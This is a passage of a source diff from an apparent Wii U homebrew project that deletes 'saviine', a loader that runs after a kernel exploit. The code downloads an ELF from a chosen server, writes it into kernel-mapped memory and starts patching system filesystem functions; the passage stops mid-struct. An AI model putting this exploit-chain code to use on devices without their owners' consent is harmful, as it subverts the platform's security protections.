#define DT_LOOS 0x60000000 /* reserved range for OS */
|
||||
#define DT_HIOS 0x6fffffff /* specific dynamic array tags */
|
||||
#define DT_LOPROC 0x70000000 /* reserved range for processor */
|
||||
#define DT_HIPROC 0x7fffffff /* specific dynamic array tags */
|
||||
|
||||
/* Dynamic Tag Flags - d_un.d_val */
|
||||
#define DF_ORIGIN 0x01 /* Object may use DF_ORIGIN */
|
||||
#define DF_SYMBOLIC 0x02 /* Symbol resolutions starts here */
|
||||
#define DF_TEXTREL 0x04 /* Object contains text relocations */
|
||||
#define DF_BIND_NOW 0x08 /* No lazy binding for this object */
|
||||
#define DF_STATIC_TLS 0x10 /* Static thread local storage */
|
||||
|
||||
/* Standard ELF hashing function */
|
||||
unsigned long elf_hash(const unsigned char *name);
|
||||
|
||||
#define ELF_TARG_VER 1 /* The ver for which this code is intended */
|
||||
|
||||
/*
|
||||
* XXX - PowerPC defines really don't belong in here,
|
||||
* but we'll put them in for simplicity.
|
||||
*/
|
||||
|
||||
/* Values for Elf32/64_Ehdr.e_flags. */
|
||||
#define EF_PPC_EMB 0x80000000 /* PowerPC embedded flag */
|
||||
|
||||
/* Cygnus local bits below */
|
||||
#define EF_PPC_RELOCATABLE 0x00010000 /* PowerPC -mrelocatable flag*/
|
||||
#define EF_PPC_RELOCATABLE_LIB 0x00008000 /* PowerPC -mrelocatable-lib
|
||||
flag */
|
||||
|
||||
/* PowerPC relocations defined by the ABIs */
|
||||
#define R_PPC_NONE 0
|
||||
#define R_PPC_ADDR32 1 /* 32bit absolute address */
|
||||
#define R_PPC_ADDR24 2 /* 26bit address, 2 bits ignored. */
|
||||
#define R_PPC_ADDR16 3 /* 16bit absolute address */
|
||||
#define R_PPC_ADDR16_LO 4 /* lower 16bit of absolute address */
|
||||
#define R_PPC_ADDR16_HI 5 /* high 16bit of absolute address */
|
||||
#define R_PPC_ADDR16_HA 6 /* adjusted high 16bit */
|
||||
#define R_PPC_ADDR14 7 /* 16bit address, 2 bits ignored */
|
||||
#define R_PPC_ADDR14_BRTAKEN 8
|
||||
#define R_PPC_ADDR14_BRNTAKEN 9
|
||||
#define R_PPC_REL24 10 /* PC relative 26 bit */
|
||||
#define R_PPC_REL14 11 /* PC relative 16 bit */
|
||||
#define R_PPC_REL14_BRTAKEN 12
|
||||
#define R_PPC_REL14_BRNTAKEN 13
|
||||
#define R_PPC_GOT16 14
|
||||
#define R_PPC_GOT16_LO 15
|
||||
#define R_PPC_GOT16_HI 16
|
||||
#define R_PPC_GOT16_HA 17
|
||||
#define R_PPC_PLTREL24 18
|
||||
#define R_PPC_COPY 19
|
||||
#define R_PPC_GLOB_DAT 20
|
||||
#define R_PPC_JMP_SLOT 21
|
||||
#define R_PPC_RELATIVE 22
|
||||
#define R_PPC_LOCAL24PC 23
|
||||
#define R_PPC_UADDR32 24
|
||||
#define R_PPC_UADDR16 25
|
||||
#define R_PPC_REL32 26
|
||||
#define R_PPC_PLT32 27
|
||||
#define R_PPC_PLTREL32 28
|
||||
#define R_PPC_PLT16_LO 29
|
||||
#define R_PPC_PLT16_HI 30
|
||||
#define R_PPC_PLT16_HA 31
|
||||
#define R_PPC_SDAREL16 32
|
||||
#define R_PPC_SECTOFF 33
|
||||
#define R_PPC_SECTOFF_LO 34
|
||||
#define R_PPC_SECTOFF_HI 35
|
||||
#define R_PPC_SECTOFF_HA 36
|
||||
/* Keep this the last entry. */
|
||||
#define R_PPC_NUM 37
|
||||
|
||||
/* The remaining relocs are from the Embedded ELF ABI, and are not
|
||||
in the SVR4 ELF ABI. */
|
||||
#define R_PPC_EMB_NADDR32 101
|
||||
#define R_PPC_EMB_NADDR16 102
|
||||
#define R_PPC_EMB_NADDR16_LO 103
|
||||
#define R_PPC_EMB_NADDR16_HI 104
|
||||
#define R_PPC_EMB_NADDR16_HA 105
|
||||
#define R_PPC_EMB_SDAI16 106
|
||||
#define R_PPC_EMB_SDA2I16 107
|
||||
#define R_PPC_EMB_SDA2REL 108
|
||||
#define R_PPC_EMB_SDA21 109 /* 16 bit offset in SDA */
|
||||
#define R_PPC_EMB_MRKREF 110
|
||||
#define R_PPC_EMB_RELSEC16 111
|
||||
#define R_PPC_EMB_RELST_LO 112
|
||||
#define R_PPC_EMB_RELST_HI 113
|
||||
#define R_PPC_EMB_RELST_HA 114
|
||||
#define R_PPC_EMB_BIT_FLD 115
|
||||
#define R_PPC_EMB_RELSDA 116 /* 16 bit relative offset in SDA */
|
||||
|
||||
/* Diab tool relocations. */
|
||||
#define R_PPC_DIAB_SDA21_LO 180 /* like EMB_SDA21, but lower 16 bit */
|
||||
#define R_PPC_DIAB_SDA21_HI 181 /* like EMB_SDA21, but high 16 bit */
|
||||
#define R_PPC_DIAB_SDA21_HA 182 /* like EMB_SDA21, adjusted high 16 */
|
||||
#define R_PPC_DIAB_RELSDA_LO 183 /* like EMB_RELSDA, but lower 16 bit */
|
||||
#define R_PPC_DIAB_RELSDA_HI 184 /* like EMB_RELSDA, but high 16 bit */
|
||||
#define R_PPC_DIAB_RELSDA_HA 185 /* like EMB_RELSDA, adjusted high 16 */
|
||||
|
||||
/* This is a phony reloc to handle any old fashioned TOC16 references
|
||||
that may still be in object files. */
|
||||
#define R_PPC_TOC16 255
|
||||
|
||||
#endif /* _ELF_H */
|
@ -1,646 +0,0 @@
|
||||
#include "saviine.h"
|
||||
#include "elf_abi.h"
|
||||
#include "../../../../libwiiu/src/coreinit.h"
|
||||
#include "../../../../libwiiu/src/vpad.h"
|
||||
|
||||
#if VER == 532
|
||||
// Includes
|
||||
|
||||
// Function definitions
|
||||
#define _Exit ((void (*)(void))0x0101cd70)
|
||||
#define OSEffectiveToPhysical ((void* (*)(const void*))0x0101f510)
|
||||
#define memcpy ((void * (*)(void * dest, const void * src, int num))0x1035a6c)
|
||||
#define DCFlushRange ((void (*)(const void *addr, uint length))0x1023ee8)
|
||||
#define ICInvalidateRange ((void (*)(const void *addr, uint length))0x1024010)
|
||||
|
||||
// Install addresses
|
||||
// #define INSTALL_MENU_ADDR 0x011dd000 // where the menu is copied in memory
|
||||
// #define INSTALL_LOADER_ADDR 0x011df000 // where the loader code is copied in memory
|
||||
#define INSTALL_FS_ADDR 0x011e0000 // where the fs functions are copied in memory
|
||||
#define KERN_ADDRESS_TBL 0xFFEAAA10
|
||||
|
||||
#define socket_lib_finish ((void (*)(void))0x10c0404)
|
||||
|
||||
// Install flags
|
||||
#define INSTALL_FS_DONE_ADDR (INSTALL_FS_ADDR - 0x4) // Used to know if fs is already installed
|
||||
#define INSTALL_FS_DONE_FLAG 0xCACACACA
|
||||
|
||||
// IP settings //
|
||||
#define DEFAULT_SERVER_IP 0xC0A80102
|
||||
|
||||
#endif
|
||||
void kern_write(void *addr, uint32_t value);
|
||||
#define PRINT_TEXT1(x, y, str) { OSScreenPutFontEx(1, x, y, str); }
|
||||
#define PRINT_TEXT2(x, y, _fmt, ...) { __os_snprintf(msg, 80, _fmt, __VA_ARGS__); OSScreenPutFontEx(1, x, y, msg); }
|
||||
#define BTN_PRESSED (BUTTON_LEFT | BUTTON_RIGHT | BUTTON_UP | BUTTON_DOWN)
|
||||
|
||||
|
||||
typedef union u_serv_ip
|
||||
{
|
||||
uint8_t digit[4];
|
||||
uint32_t full;
|
||||
} u_serv_ip;
|
||||
|
||||
typedef struct {
|
||||
char tag[8]; /* 0x000 "OSContxt" */
|
||||
int32_t gpr[32]; /* 0x008 from OSDumpContext */
|
||||
uint32_t cr; /* 0x088 from OSDumpContext */
|
||||
uint32_t lr; /* 0x08c from OSDumpContext */
|
||||
uint32_t ctr; /* 0x090 from context switch code */
|
||||
uint32_t xer; /* 0x094 from context switch code */
|
||||
uint32_t srr0; /* 0x098 from OSDumpContext */
|
||||
uint32_t srr1; /* 0x09c from OSDumpContext */
|
||||
char _unknowna0[0xb8 - 0xa0];
|
||||
uint64_t fpr[32]; /* 0x0b8 from OSDumpContext */
|
||||
int16_t spinLockCount; /* 0x1b8 from OSDumpContext */
|
||||
char _unknown1ba[0x1bc - 0x1ba]; /* 0x1ba could genuinely be padding? */
|
||||
uint32_t gqr[8]; /* 0x1bc from OSDumpContext */
|
||||
char _unknown1dc[0x1e0 - 0x1dc];
|
||||
uint64_t psf[32]; /* 0x1e0 from OSDumpContext */
|
||||
int64_t coretime[3]; /* 0x2e0 from OSDumpContext */
|
||||
int64_t starttime; /* 0x2f8 from OSDumpContext */
|
||||
int32_t error; /* 0x300 from OSDumpContext */
|
||||
char _unknown304[0x6a0 - 0x304];
|
||||
} __attribute__((packed)) OSThread; /* 0x6a0 total length from RAM dumps */
|
||||
|
||||
typedef struct {
|
||||
unsigned char *data;
|
||||
int len;
|
||||
int alloc_size;
|
||||
|
||||
void*(*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
|
||||
void(*MEMFreeToDefaultHeap)(void *ptr);
|
||||
} file_struct_t;
|
||||
|
||||
typedef struct {
|
||||
unsigned char *data_menu;
|
||||
unsigned char *data_loader;
|
||||
unsigned char *data_fs;
|
||||
int len_menu;
|
||||
int len_loader;
|
||||
int len_fs;
|
||||
|
||||
unsigned int coreinit_handle;
|
||||
/* function pointers */
|
||||
void*(*memset)(void * dest, unsigned int value, unsigned int bytes);
|
||||
|
||||
void*(*MEMAllocFromDefaultHeapEx)(unsigned int size, unsigned int align);
|
||||
void(*MEMFreeToDefaultHeap)(void *ptr);
|
||||
|
||||
void*(*curl_easy_init)();
|
||||
void(*curl_easy_setopt)(void *handle, unsigned int param, void *op);
|
||||
int(*curl_easy_perform)(void *handle);
|
||||
void(*curl_easy_getinfo)(void *handle, unsigned int param, void *op);
|
||||
void (*curl_easy_cleanup)(void *handle);
|
||||
} private_data_t;
|
||||
|
||||
/* Install functions */
|
||||
static void InstallFS(private_data_t *private_data);
|
||||
|
||||
static int show_ip_selection_screen(unsigned int coreinit_handle, unsigned int *ip_address);
|
||||
static void curl_thread_callback(int argc, void *argv);
|
||||
|
||||
/* ****************************************************************** */
|
||||
/* ENTRY POINT */
|
||||
/* ****************************************************************** */
|
||||
void _start()
|
||||
{
|
||||
/* Load a good stack */
|
||||
asm(
|
||||
"lis %r1, 0x1ab5 ;"
|
||||
"ori %r1, %r1, 0xd138 ;"
|
||||
);
|
||||
|
||||
/* Make sure the kernel exploit has been run */
|
||||
if (OSEffectiveToPhysical((void *)0xa0000000) != (void *)0x31000000)
|
||||
{
|
||||
OSFatal("No ksploit.");
|
||||
}
|
||||
else
|
||||
{
|
||||
private_data_t private_data;
|
||||
|
||||
/* Get coreinit handle and keep it in memory */
|
||||
unsigned int coreinit_handle;
|
||||
OSDynLoad_Acquire("coreinit", &coreinit_handle);
|
||||
private_data.coreinit_handle = coreinit_handle;
|
||||
|
||||
/* Get our memory functions */
|
||||
void*(*memset)(void * dest, unsigned int value, unsigned int bytes);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset);
|
||||
memset(&private_data, 0, sizeof(private_data_t));
|
||||
private_data.memset = memset;
|
||||
|
||||
unsigned int *functionPointer = 0;
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &functionPointer);
|
||||
private_data.MEMAllocFromDefaultHeapEx = (void*(*)(unsigned int size, unsigned int align))*functionPointer;
|
||||
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &functionPointer);
|
||||
private_data.MEMFreeToDefaultHeap = (void (*)(void *))*functionPointer;
|
||||
|
||||
/* Get functions to send restart signal */
|
||||
int(*IM_Open)();
|
||||
int(*IM_Close)(int fd);
|
||||
int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b);
|
||||
void*(*OSAllocFromSystem)(unsigned int size, int align);
|
||||
void(*OSFreeToSystem)(void *ptr);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem);
|
||||
|
||||
/* Send restart signal to get rid of uneeded threads */
|
||||
/* Cause the other browser threads to exit */
|
||||
int fd = IM_Open();
|
||||
void *mem = OSAllocFromSystem(0x100, 64);
|
||||
memset(mem, 0, 0x100);
|
||||
|
||||
/* Sets wanted flag */
|
||||
IM_SetDeviceState(fd, mem, 3, 0, 0);
|
||||
IM_Close(fd);
|
||||
OSFreeToSystem(mem);
|
||||
|
||||
/* Waits for thread exits */
|
||||
unsigned int t1 = 0x1FFFFFFF;
|
||||
while(t1--) ;
|
||||
|
||||
/* Prepare for thread startups */
|
||||
int (*OSCreateThread)(OSThread *thread, void *entry, int argc, void *args, unsigned int stack, unsigned int stack_size, int priority, unsigned short attr);
|
||||
int (*OSResumeThread)(OSThread *thread);
|
||||
int (*OSIsThreadTerminated)(OSThread *thread);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSCreateThread", &OSCreateThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSResumeThread", &OSResumeThread);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSIsThreadTerminated", &OSIsThreadTerminated);
|
||||
|
||||
/* Allocate a stack for the thread */
|
||||
/* IMPORTANT: libcurl uses around 0x1000 internally so make
|
||||
sure to allocate more for the stack to avoid crashes */
|
||||
void *stack = private_data.MEMAllocFromDefaultHeapEx(0x2000, 0x20);
|
||||
/* Create the thread variable */
|
||||
OSThread *thread = (OSThread *) private_data.MEMAllocFromDefaultHeapEx(sizeof(OSThread), 8);
|
||||
if(!thread || !stack)
|
||||
OSFatal("Thread memory allocation failed.");
|
||||
|
||||
// the thread stack is too small on current thread, switch to an own created thread
|
||||
// create a detached thread with priority 0 and use core 1
|
||||
int ret = OSCreateThread(thread, curl_thread_callback, 1, (void*)&private_data, (unsigned int)stack+0x2000, 0x2000, 0, 0x1A);
|
||||
if (ret == 0)
|
||||
OSFatal("Failed to create thread");
|
||||
|
||||
/* Schedule it for execution */
|
||||
OSResumeThread(thread);
|
||||
|
||||
/* while we are downloading let the user select his IP stuff */
|
||||
unsigned int ip_address = 0;
|
||||
int result = show_ip_selection_screen(coreinit_handle, &ip_address);
|
||||
|
||||
// Keep this main thread around for ELF loading
|
||||
// Can not use OSJoinThread, which hangs for some reason, so we use a detached one and wait for it to terminate
|
||||
while(OSIsThreadTerminated(thread) == 0)
|
||||
{
|
||||
asm volatile (
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
" nop\n"
|
||||
);
|
||||
}
|
||||
|
||||
/* Free thread memory and stack */
|
||||
private_data.MEMFreeToDefaultHeap(thread);
|
||||
private_data.MEMFreeToDefaultHeap(stack);
|
||||
|
||||
/* Install our ELF files */
|
||||
if(result){
|
||||
InstallFS(&private_data);
|
||||
/* patch server IP */
|
||||
*((volatile unsigned int *)(INSTALL_FS_ADDR + 0xa0000000)) = ip_address;
|
||||
}
|
||||
|
||||
/* free memory allocated */
|
||||
if(private_data.data_menu) {
|
||||
private_data.MEMFreeToDefaultHeap(private_data.data_menu);
|
||||
}
|
||||
if(private_data.data_loader) {
|
||||
private_data.MEMFreeToDefaultHeap(private_data.data_loader);
|
||||
}
|
||||
if(private_data.data_fs) {
|
||||
private_data.MEMFreeToDefaultHeap(private_data.data_fs);
|
||||
}
|
||||
}
|
||||
_Exit();
|
||||
}
|
||||
|
||||
/* IP selection screen implemented by Maschell */
|
||||
static int show_ip_selection_screen(unsigned int coreinit_handle, unsigned int *ip_address)
|
||||
{
|
||||
|
||||
/************************************************************************/
|
||||
// Prepare screen
|
||||
void (*OSScreenInit)();
|
||||
unsigned int (*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
|
||||
unsigned int (*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
|
||||
unsigned int (*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
|
||||
unsigned int (*OSScreenFlipBuffersEx)(unsigned int bufferNum);
|
||||
unsigned int (*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, void * buffer);
|
||||
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
|
||||
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
|
||||
|
||||
|
||||
/* ****************************************************************** */
|
||||
/* IP Settings */
|
||||
/* ****************************************************************** */
|
||||
|
||||
// Set server ip
|
||||
u_serv_ip ip;
|
||||
ip.full = DEFAULT_SERVER_IP;
|
||||
char msg[80];
|
||||
// Prepare screen
|
||||
int screen_buf0_size = 0;
|
||||
int screen_buf1_size = 0;
|
||||
uint screen_color = 0; // (r << 24) | (g << 16) | (b << 8) | a;
|
||||
|
||||
// Init screen and screen buffers
|
||||
OSScreenInit();
|
||||
screen_buf0_size = OSScreenGetBufferSizeEx(0);
|
||||
screen_buf1_size = OSScreenGetBufferSizeEx(1);
|
||||
OSScreenSetBufferEx(0, (void *)0xF4000000);
|
||||
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
|
||||
|
||||
// Clear screens
|
||||
OSScreenClearBufferEx(0, screen_color);
|
||||
OSScreenClearBufferEx(1, screen_color);
|
||||
|
||||
// Flush the cache
|
||||
DCFlushRange((void *)0xF4000000, screen_buf0_size);
|
||||
DCFlushRange((void *)0xF4000000 + screen_buf0_size, screen_buf1_size);
|
||||
|
||||
// Flip buffers
|
||||
OSScreenFlipBuffersEx(0);
|
||||
OSScreenFlipBuffersEx(1);
|
||||
|
||||
// Prepare vpad
|
||||
unsigned int vpad_handle;
|
||||
int (*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
|
||||
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
|
||||
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
|
||||
|
||||
// Set server ip with buttons
|
||||
uint8_t sel_ip = 3;
|
||||
int error;
|
||||
uint8_t update_screen = 1; // refresh screen initially
|
||||
VPADData vpad_data;
|
||||
VPADRead(0, &vpad_data, 1, &error); //Read initial vpad status
|
||||
int noip = 1;
|
||||
int result = 0;
|
||||
int delay = 0;
|
||||
|
||||
while (1)
|
||||
{
|
||||
// Print message
|
||||
PRINT_TEXT1(14, 1, "-- SAVIINE 1.0 (a cafiine mod) --");
|
||||
PRINT_TEXT2(0, 5, "%s : %3d.%3d.%3d.%3d", "1. Server IP", ip.digit[0], ip.digit[1], ip.digit[2], ip.digit[3]);
|
||||
PRINT_TEXT1(0, 6, "2. Press A to install saviine");
|
||||
PRINT_TEXT1(42, 17, "home button to exit ...");
|
||||
|
||||
// Print ip digit selector
|
||||
uint8_t x_shift = 15 + 4 * sel_ip;
|
||||
PRINT_TEXT1(x_shift, 4, "vvv");
|
||||
|
||||
// Refresh screen if needed
|
||||
if (update_screen)
|
||||
{
|
||||
OSScreenFlipBuffersEx(1);
|
||||
OSScreenClearBufferEx(1, 0);
|
||||
}
|
||||
|
||||
// Read vpad
|
||||
VPADRead(0, &vpad_data, 1, &error);
|
||||
|
||||
// Check for buttons
|
||||
// Home Button
|
||||
if (vpad_data.btn_trigger & BUTTON_HOME) {
|
||||
result = 0;
|
||||
break;
|
||||
}
|
||||
// A Button
|
||||
if (vpad_data.btn_trigger & BUTTON_A){
|
||||
*ip_address = ip.full;
|
||||
result = 1;
|
||||
break;
|
||||
}
|
||||
// Left/Right Buttons
|
||||
if (vpad_data.btn_trigger & BUTTON_LEFT ) sel_ip = !sel_ip ? sel_ip = 3 : --sel_ip;
|
||||
if (vpad_data.btn_trigger & BUTTON_RIGHT) sel_ip = ++sel_ip % 4;
|
||||
|
||||
// Up/Down Buttons
|
||||
if ((vpad_data.btn_hold & BUTTON_UP) || (vpad_data.btn_trigger & BUTTON_UP)) {
|
||||
if(--delay <= 0) {
|
||||
ip.digit[sel_ip]++;
|
||||
delay = (vpad_data.btn_trigger & BUTTON_UP) ? 30 : 3;
|
||||
}
|
||||
}
|
||||
else if ((vpad_data.btn_hold & BUTTON_DOWN) || (vpad_data.btn_trigger & BUTTON_DOWN)) {
|
||||
if(--delay <= 0) {
|
||||
ip.digit[sel_ip]--;
|
||||
delay = (vpad_data.btn_trigger & BUTTON_DOWN) ? 30 : 3;
|
||||
}
|
||||
}
|
||||
else {
|
||||
delay = 0;
|
||||
}
|
||||
|
||||
// Button pressed ?
|
||||
update_screen = (vpad_data.btn_hold & BTN_PRESSED) ? 1 : 0;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
/* libcurl data write callback */
|
||||
static int curl_write_data_callback(void *buffer, int size, int nmemb, void *userp)
|
||||
{
|
||||
file_struct_t *file = (file_struct_t *)userp;
|
||||
int insize = size*nmemb;
|
||||
|
||||
while(file->len + insize > file->alloc_size) {
|
||||
if(file->data) {
|
||||
file->MEMFreeToDefaultHeap(file->data);
|
||||
}
|
||||
file->alloc_size += 0x20000;
|
||||
file->data = file->MEMAllocFromDefaultHeapEx(file->alloc_size, 0x20);
|
||||
if(!file->data)
|
||||
OSFatal("Memory allocation failed");
|
||||
}
|
||||
|
||||
memcpy(file->data + file->len, buffer, insize);
|
||||
file->len += insize;
|
||||
return insize;
|
||||
}
|
||||
|
||||
/* The downloader thread */
|
||||
#define CURLOPT_WRITEDATA 10001
|
||||
#define CURLOPT_URL 10002
|
||||
#define CURLOPT_WRITEFUNCTION 20011
|
||||
#define CURLINFO_RESPONSE_CODE 0x200002
|
||||
|
||||
static int curl_download_file(private_data_t *private_data, void * curl, char *url, unsigned char **out_buffer)
|
||||
{
|
||||
file_struct_t file;
|
||||
file.MEMAllocFromDefaultHeapEx = private_data->MEMAllocFromDefaultHeapEx;
|
||||
file.MEMFreeToDefaultHeap = private_data->MEMFreeToDefaultHeap;
|
||||
file.data = 0;
|
||||
file.len = 0;
|
||||
file.alloc_size = 0;
|
||||
private_data->curl_easy_setopt(curl, CURLOPT_URL, url);
|
||||
private_data->curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_write_data_callback);
|
||||
private_data->curl_easy_setopt(curl, CURLOPT_WRITEDATA, &file);
|
||||
|
||||
/* Download file */
|
||||
int ret = private_data->curl_easy_perform(curl);
|
||||
if(ret)
|
||||
OSFatal(url);
|
||||
|
||||
/* Do error checks */
|
||||
if(!file.len) {
|
||||
OSFatal(url);
|
||||
}
|
||||
|
||||
int resp = 404;
|
||||
private_data->curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &resp);
|
||||
if(resp != 200) {
|
||||
OSFatal(url);
|
||||
}
|
||||
|
||||
*out_buffer = file.data;
|
||||
return file.len;
|
||||
}
|
||||
|
||||
static void curl_thread_callback(int argc, void *argv)
|
||||
{
|
||||
private_data_t *private_data = (private_data_t *)argv;
|
||||
char *leaddr = (char*)0;
|
||||
unsigned char *str;
|
||||
|
||||
char buf[128];
|
||||
/* find address left in ram */
|
||||
for(str = (unsigned char*)0x1A000000; str < (unsigned char*)0x20000000; str++)
|
||||
{ /* Search for /payload which indicates the current address */
|
||||
if(*(unsigned int*)str == 0x2F706179 && *(unsigned int*)(str+4) == 0x6C6F6164)
|
||||
{
|
||||
leaddr = (char*)str;
|
||||
while(*leaddr) leaddr--;
|
||||
leaddr++;
|
||||
/* If string starts with http its likely to be correct */
|
||||
if(*(unsigned int*)leaddr == 0x68747470)
|
||||
break;
|
||||
leaddr = (char*)0;
|
||||
}
|
||||
}
|
||||
if(leaddr == (char*)0)
|
||||
OSFatal("URL not found");
|
||||
|
||||
/* Acquire and setup libcurl */
|
||||
unsigned int libcurl_handle;
|
||||
OSDynLoad_Acquire("nlibcurl", &libcurl_handle);
|
||||
|
||||
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_init", &private_data->curl_easy_init);
|
||||
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_setopt", &private_data->curl_easy_setopt);
|
||||
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_perform", &private_data->curl_easy_perform);
|
||||
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_getinfo", &private_data->curl_easy_getinfo);
|
||||
OSDynLoad_FindExport(libcurl_handle, 0, "curl_easy_cleanup", &private_data->curl_easy_cleanup);
|
||||
|
||||
void *curl = private_data->curl_easy_init();
|
||||
if(!curl) {
|
||||
OSFatal("cURL init failed");
|
||||
}
|
||||
|
||||
/* Generate the url address */
|
||||
char *src_ptr = leaddr;
|
||||
char *ptr = buf;
|
||||
while(*src_ptr) {
|
||||
*ptr++ = *src_ptr++;
|
||||
}
|
||||
*ptr = 0;
|
||||
// go back to last /
|
||||
while(*ptr != 0x2F)
|
||||
ptr--;
|
||||
|
||||
memcpy(ptr+1, "saviine532.elf", 15);
|
||||
private_data->len_fs = curl_download_file(private_data, curl, buf, &private_data->data_fs);
|
||||
|
||||
|
||||
/* Cleanup to gain back memory */
|
||||
private_data->curl_easy_cleanup(curl);
|
||||
|
||||
/* Release libcurl and exit thread */
|
||||
// TODO: get correct address of OSDynLoad_Release and release the handle
|
||||
// finding export is not working
|
||||
//void (*OSDynLoad_Release)(unsigned int handle);
|
||||
//OSDynLoad_FindExport(private_data->coreinit_handle, 0, "OSDynLoad_Release", &OSDynLoad_Release);
|
||||
//OSDynLoad_Release(libcurl_handle);
|
||||
|
||||
|
||||
}
|
||||
|
||||
static int strcmp(const char *s1, const char *s2)
|
||||
{
|
||||
while(*s1 && *s2)
|
||||
{
|
||||
if(*s1 != *s2) {
|
||||
return -1;
|
||||
}
|
||||
s1++;
|
||||
s2++;
|
||||
}
|
||||
|
||||
if(*s1 != *s2) {
|
||||
return -1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
static unsigned int get_section(private_data_t *private_data, unsigned char *data, const char *name, unsigned int * size, unsigned int * addr)
|
||||
{
|
||||
Elf32_Ehdr *ehdr = (Elf32_Ehdr *) data;
|
||||
|
||||
if ( !data
|
||||
|| !IS_ELF (*ehdr)
|
||||
|| (ehdr->e_type != ET_EXEC)
|
||||
|| (ehdr->e_machine != EM_PPC))
|
||||
{
|
||||
OSFatal("Invalid elf");
|
||||
}
|
||||
|
||||
Elf32_Shdr *shdr = (Elf32_Shdr *) (data + ehdr->e_shoff);
|
||||
int i;
|
||||
for(i = 0; i < ehdr->e_shnum; i++)
|
||||
{
|
||||
const char *section_name = ((const char*)data) + shdr[ehdr->e_shstrndx].sh_offset + shdr[i].sh_name;
|
||||
if(strcmp(section_name, name) == 0)
|
||||
{
|
||||
if(addr)
|
||||
*addr = shdr[i].sh_addr;
|
||||
if(size)
|
||||
*size = shdr[i].sh_size;
|
||||
return shdr[i].sh_offset;
|
||||
}
|
||||
}
|
||||
|
||||
OSFatal((char*)name);
|
||||
}
|
||||
|
||||
/* ****************************************************************** */
|
||||
/* INSTALL FS */
|
||||
/* Install filesystem functions */
|
||||
/* ****************************************************************** */
|
||||
static void InstallFS(private_data_t *private_data)
|
||||
{
|
||||
/* Check if already installed */
|
||||
if (*(volatile unsigned int *)(INSTALL_FS_DONE_ADDR + 0xa0000000) == INSTALL_FS_DONE_FLAG)
|
||||
return;
|
||||
*(volatile unsigned int *)(INSTALL_FS_DONE_ADDR + 0xa0000000) = INSTALL_FS_DONE_FLAG;
|
||||
|
||||
// get .text section
|
||||
unsigned int fs_text_addr = 0;
|
||||
unsigned int fs_text_len = 0;
|
||||
unsigned int section_offset = get_section(private_data, private_data->data_fs, ELF_TEXT, &fs_text_len, &fs_text_addr);
|
||||
unsigned char *fs_text = private_data->data_fs + section_offset;
|
||||
// get .rodata section
|
||||
unsigned int fs_rodata_addr = 0;
|
||||
unsigned int fs_rodata_len = 0;
|
||||
section_offset = get_section(private_data, private_data->data_fs, ELF_RODATA, &fs_rodata_len, &fs_rodata_addr);
|
||||
unsigned char *fs_rodata = private_data->data_fs + section_offset;
|
||||
// get .magic section
|
||||
unsigned int fs_magic_addr = 0;
|
||||
unsigned int fs_magic_len = 0;
|
||||
section_offset = get_section(private_data, private_data->data_fs, ".magic", &fs_magic_len, &fs_magic_addr);
|
||||
unsigned char *fs_magic = private_data->data_fs + section_offset;
|
||||
|
||||
/* Copy fs code section to memory */
|
||||
unsigned int cpy_addr = (0xa0000000 + fs_text_addr);
|
||||
memcpy((void*)cpy_addr, fs_text, fs_text_len);
|
||||
DCFlushRange((void*)cpy_addr, fs_text_len);
|
||||
ICInvalidateRange((void*)cpy_addr, fs_text_len);
|
||||
|
||||
/* Copy fs rodata section to memory */
|
||||
cpy_addr = (0xa0000000 + fs_rodata_addr);
|
||||
memcpy((void*)cpy_addr, fs_rodata, fs_rodata_len);
|
||||
DCFlushRange((void*)cpy_addr, fs_rodata_len);
|
||||
|
||||
/* ------------------------------------------------------------------------------------------------------------------------*/
|
||||
/* patch the FS functions to branch to our functions */
|
||||
/* ------------------------------------------------------------------------------------------------------------------------*/
|
||||
struct magic_t {
|
||||
void *real;
|
||||
void *replacement;
|
